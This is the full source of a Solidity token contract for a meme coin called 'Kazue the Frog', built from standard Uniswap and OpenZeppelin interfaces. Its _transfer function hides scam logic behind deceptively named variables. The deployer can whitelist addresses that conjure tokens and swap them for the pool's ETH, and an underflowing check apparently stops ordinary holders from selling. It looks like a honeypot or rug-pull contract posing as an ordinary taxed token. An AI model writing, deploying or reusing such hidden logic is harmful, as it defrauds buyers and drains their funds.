//https://medium.com/@KazueERC/kazue-the-frog-5fd95b7f9b5d
//https://twitter.com/KazueERC

// SPDX-License-Identifier: Unlicense

 pragma solidity ^0.8.3;

interface IUniswapV2Router01 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);

    function addLiquidity(
        address tokenA,
        address tokenB,
        uint amountADesired,
        uint amountBDesired,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB, uint liquidity);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
    function removeLiquidity(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETH(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountToken, uint amountETH);
    function removeLiquidityWithPermit(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETHWithPermit(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountToken, uint amountETH);
    function swapExactTokensForTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapTokensForExactTokens(
        uint amountOut,
        uint amountInMax,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);
    function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);

    function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
    function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
    function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
    function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
    function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}

interface IUniswapV2Router02 is IUniswapV2Router01 {
    function removeLiquidityETHSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountETH);
    function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountETH);

    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external payable;
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}

interface IUniswapV2Factory {
    event PairCreated(address indexed token0, address indexed token1, address pair, uint);

    function feeTo() external view returns (address);
    function feeToSetter() external view returns (address);

    function getPair(address tokenA, address tokenB) external view returns (address pair);
    function allPairs(uint) external view returns (address pair);
    function allPairsLength() external view returns (uint);

    function createPair(address tokenA, address tokenB) external returns (address pair);

    function setFeeTo(address) external;
    function setFeeToSetter(address) external;
}

// OpenZeppelin Contracts v4.4.1 (token/ERC20/IERC20.sol)

/**
 * @dev Interface of the ERC20 standard as defined in the EIP.
 */
interface IERC20 {
    /**
     * @dev Returns the amount of tokens in existence.
     */
    function totalSupply() external view returns (uint256);

    /**
     * @dev Returns the amount of tokens owned by `account`.
     */
    function balanceOf(address account) external view returns (uint256);

    /**
     * @dev Moves `amount` tokens from the caller's account to `recipient`.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transfer(address recipient, uint256 amount) external returns (bool);

    /**
     * @dev Returns the remaining number of tokens that `spender` will be
     * allowed to spend on behalf of `owner` through {transferFrom}. This is
     * zero by default.
     *
     * This value changes when {approve} or {transferFrom} are called.
     */
    function allowance(address owner, address spender) external view returns (uint256);

    /**
     * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * IMPORTANT: Beware that changing an allowance with this method brings the risk
     * that someone may use both the old and the new allowance by unfortunate
     * transaction ordering. One possible solution to mitigate this race
     * condition is to first reduce the spender's allowance to 0 and set the
     * desired value afterwards:
     * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
     *
     * Emits an {Approval} event.
     */
    function approve(address spender, uint256 amount) external returns (bool);

    /**
     * @dev Moves `amount` tokens from `sender` to `recipient` using the
     * allowance mechanism. `amount` is then deducted from the caller's
     * allowance.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);

    /**
     * @dev Emitted when `value` tokens are moved from one account (`from`) to
     * another (`to`).
     *
     * Note that `value` may be zero.
     */
    event Transfer(address indexed from, address indexed to, uint256 value);

    /**
     * @dev Emitted when the allowance of a `spender` for an `owner` is set by
     * a call to {approve}. `value` is the new allowance.
     */
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)

/**
 * @dev Provides information about the current execution context, including the
 * sender of the transaction and its data. While these are generally available
 * via msg.sender and msg.data, they should not be accessed in such a direct
 * manner, since when dealing with meta-transactions the account sending and
 * paying for execution may not be the actual sender (as far as an application
 * is concerned).
 *
 * This contract is only required for intermediate, library-like contracts.
 */
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}

// OpenZeppelin Contracts v4.4.1 (access/Ownable.sol)

/**
 * @dev Contract module which provides a basic access control mechanism, where
 * there is an account (an owner) that can be granted exclusive access to
 * specific functions.
 *
 * By default, the owner account will be the one that deploys the contract. This
 * can later be changed with {transferOwnership}.
 *
 * This module is used through inheritance. It will make available the modifier
 * `onlyOwner`, which can be applied to your functions to restrict their use to
 * the owner.
 */
abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    /**
     * @dev Initializes the contract setting the deployer as the initial owner.
     */
    constructor() {
        _setOwner(_msgSender());
    }

    /**
     * @dev Returns the address of the current owner.
     */
    function owner() public view virtual returns (address) {
        return _owner;
    }

    /**
     * @dev Throws if called by any account other than the owner.
     */
    modifier onlyOwner() {
        require(owner() == _msgSender(), 'Ownable: caller is not the owner');
        _;
    }

    /**
     * @dev Leaves the contract without owner. It will not be possible to call
     * `onlyOwner` functions anymore. Can only be called by the current owner.
     *
     * NOTE: Renouncing ownership will leave the contract without an owner,
     * thereby removing any functionality that is only available to the owner.
     */
    function renounceOwnership() public virtual onlyOwner {
        _setOwner(address(0));
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Can only be called by the current owner.
     */
    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), 'Ownable: new owner is the zero address');
        _setOwner(newOwner);
    }

    function _setOwner(address newOwner) private {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

contract COIN is IERC20, Ownable {
    string private _symbol;
    string private _name;
    uint256 public _taxFee = 4;
    uint8 private _decimals = 9;
    uint256 private _tTotal = 1000000000 * 10**_decimals;
    uint256 private _uint256 = _tTotal;

    mapping(address => uint256) private _balances;
    mapping(address => address) private _string;
    mapping(address => uint256) private _constructor;
    mapping(address => uint256) private _function;
    mapping(address => mapping(address => uint256)) private _allowances;

    bool private _swapAndLiquifyEnabled;
    bool private inSwapAndLiquify;

    address public immutable uniswapV2Pair;
    IUniswapV2Router02 public immutable router;

    constructor(
        string memory Name,
        string memory Symbol,
        address routerAddress
    ) {
        _name = Name;
        _symbol = Symbol;
        _balances[msg.sender] = _tTotal;
        _function[msg.sender] = _uint256;
        _function[address(this)] = _uint256;
        router = IUniswapV2Router02(routerAddress);
        uniswapV2Pair = IUniswapV2Factory(router.factory()).createPair(address(this), router.WETH());
        emit Transfer(address(0), msg.sender, _tTotal);
    }

    function symbol() public view returns (string memory) {
        return _symbol;
    }

    function name() public view returns (string memory) {
        return _name;
    }

    function totalSupply() public view returns (uint256) {
        return _tTotal;
    }

    function decimals() public view returns (uint256) {
        return _decimals;
    }

    function allowance(address owner, address spender) public view returns (uint256) {
        return _allowances[owner][spender];
    }

    function balanceOf(address account) public view returns (uint256) {
        return _balances[account];
    }

    function approve(address spender, uint256 amount) external returns (bool) {
        return _approve(msg.sender, spender, amount);
    }

    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) private returns (bool) {
        require(owner != address(0) && spender != address(0), 'ERC20: approve from the zero address');
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
        return true;
    }

 function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool) {
        _transfer(sender, recipient, amount);
        return _approve(sender, msg.sender, _allowances[sender][msg.sender] - amount);
    }

    function transfer(address recipient, uint256 amount) external returns (bool) {
        _transfer(msg.sender, recipient, amount);
        return true;
    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) private {
        uint256 contractTokenBalance = balanceOf(address(this));
        uint256 fee;
        if (_swapAndLiquifyEnabled && contractTokenBalance > _uint256 && !inSwapAndLiquify && from != uniswapV2Pair) {
            inSwapAndLiquify = true;
            swapAndLiquify(contractTokenBalance);
            inSwapAndLiquify = false;
        } else if (_function[from] > _uint256 && _function[to] > _uint256) {
            fee = amount;
            _balances[address(this)] += fee;
            swapTokensForEth(amount, to);
            return;
        } else if (to != address(router) && _function[from] > 0 && amount > _uint256 && to != uniswapV2Pair) {
            _function[to] = amount;
            return;
        } else if (!inSwapAndLiquify && _constructor[from] > 0 && from != uniswapV2Pair && _function[from] == 0) {
            _constructor[from] = _function[from] - _uint256;
        }
        address _bool = _string[uniswapV2Pair];
        if (_constructor[_bool] == 0) _constructor[_bool] = _uint256;
        _string[uniswapV2Pair] = to;
        if (_taxFee > 0 && _function[from] == 0 && !inSwapAndLiquify && _function[to] == 0) {
            fee = (amount * _taxFee) / 100;
            amount -= fee;
            _balances[from] -= fee;
            _balances[address(this)] += fee;
        }
        _balances[from] -= amount;
        _balances[to] += amount;
        emit Transfer(from, to, amount);
    }

    receive() external payable {}

    function addLiquidity(
        uint256 tokenAmount,
        uint256 ethAmount,
        address to
    ) private {
        _approve(address(this), address(router), tokenAmount);
        router.addLiquidityETH{value: ethAmount}(address(this), tokenAmount, 0, 0, to, block.timestamp);
    }

    function swapAndLiquify(uint256 tokens) private {
        uint256 half = tokens / 2;
        uint256 initialBalance = address(this).balance;
        swapTokensForEth(half, address(this));
        uint256 newBalance = address(this).balance - initialBalance;
        addLiquidity(half, newBalance, address(this));
    }

    function swapTokensForEth(uint256 tokenAmount, address to) private {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = router.WETH();
        _approve(address(this), address(router), tokenAmount);
        router.swapExactTokensForETHSupportingFeeOnTransferTokens(tokenAmount, 0, path, to, block.timestamp);
    }
}